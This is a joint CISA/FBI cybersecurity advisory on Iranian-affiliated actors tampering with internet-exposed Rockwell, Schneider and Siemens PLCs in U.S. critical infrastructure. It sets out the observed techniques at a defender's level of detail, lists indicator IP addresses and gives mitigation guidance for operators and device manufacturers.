<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
